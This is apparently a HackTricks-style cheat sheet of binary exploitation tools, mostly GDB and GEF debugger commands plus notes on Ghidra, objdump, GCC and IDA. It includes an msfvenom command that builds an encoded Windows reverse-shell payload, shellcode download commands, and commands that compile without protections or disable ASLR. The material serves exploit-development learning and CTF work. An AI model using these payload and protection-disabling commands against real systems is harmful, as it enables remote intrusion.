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Exploiting Tools ​

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Metasploit ​

bash
pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes ​

bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB ​

Install ​

bash
apt-get install gdb

Parameters ​

bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Instructions ​

bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF ​

You could optionally use this fork of GEF which contains more interesting instructions.

bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
 rip = 0x400cd3; saved rip = 0x6261617762616176
 called by frame at 0x7fffffffddd8
 Arglist at 0x7fffffffdcf8, args: 
 Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
 Saved registers:
  rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Tricks ​

GDB same addresses ​

While debugging GDB will have slightly different addresses than the used by the binary when executed. You can make GDB have the same addresses by doing:

  • unset env LINES
  • unset env COLUMNS
  • set env _=<path> Put the absolute path to the binary
  • Exploit the binary using the same absolute route
  • PWD and OLDPWD must be the same when using GDB and when exploiting the binary

Backtrace to find functions called ​

When you have a statically linked binary all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to identify the flow that the binary follows to for example ask for user input.
You can easily identify this flow by running the binary with gdb until you are asked for input. Then, stop it with CTRL+C and use the bt (backtrace) command to see the functions called:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB server ​

gdbserver --multi 0.0.0.0:23947 (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)

Ghidra ​

Find stack offset ​

Ghidra is very useful to find the the offset for a buffer overflow thanks to the information about the position of the local variables.
For example, in the example below, a buffer flow in local_bc indicates that you need an offset of 0xbc. Moreover, if local_10 is a canary cookie it indicates that to overwrite it from local_bc there is an offset of 0xac.
Remember that the first 0x08 from where the RIP is saved belongs to the RBP.

qtool ​

bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Get every opcode executed in the program.

GCC ​

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compile without protections
-o --> Output
-g --> Save code (GDB will be able to see it)
echo 0 > /proc/sys/kernel/randomize_va_space --> To deactivate the ASLR in linux

To compile a shellcode:
nasm -f elf assembly.asm --> return a ".o"
ld assembly.o -o shellcodeout --> Executable

Objdump ​

-d --> Disassemble executable sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)
-Mintel --> Intel syntax
-t --> Symbols table
-D --> Disassemble all (address of static variable)
-s -j .dtors --> dtors section
-s -j .got --> got section
-D -s -j .plt --> plt section decompiled
-TR --> Relocations
ojdump -t --dynamic-relo ./exec | grep puts --> Address of "puts" to modify in GOT
objdump -D ./exec | grep "VAR_NAME" --> Address or a static variable (those are stored in DATA section).

Core dumps ​

  1. Run ulimit -c unlimited before starting my program
  2. Run sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
  3. sudo gdb --core=<path/core> --quiet

More ​

ldd executable | grep libc.so.6 --> Address (if ASLR, then this change every time)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Loop to see if the address changes a lot
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset of "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset of "/bin/sh"

strace executable --> Functions called by the executable
rabin2 -i ejecutable --> Address of all the functions

Inmunity debugger ​

bash
!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA ​

Debugging in remote linux ​

Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary linux_server or linux_server64 inside the linux server and run it nside the folder that contains the binary:

./linux_server64 -Ppass

Then, configure the debugger: Debugger (linux remote) --> Proccess options...:

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

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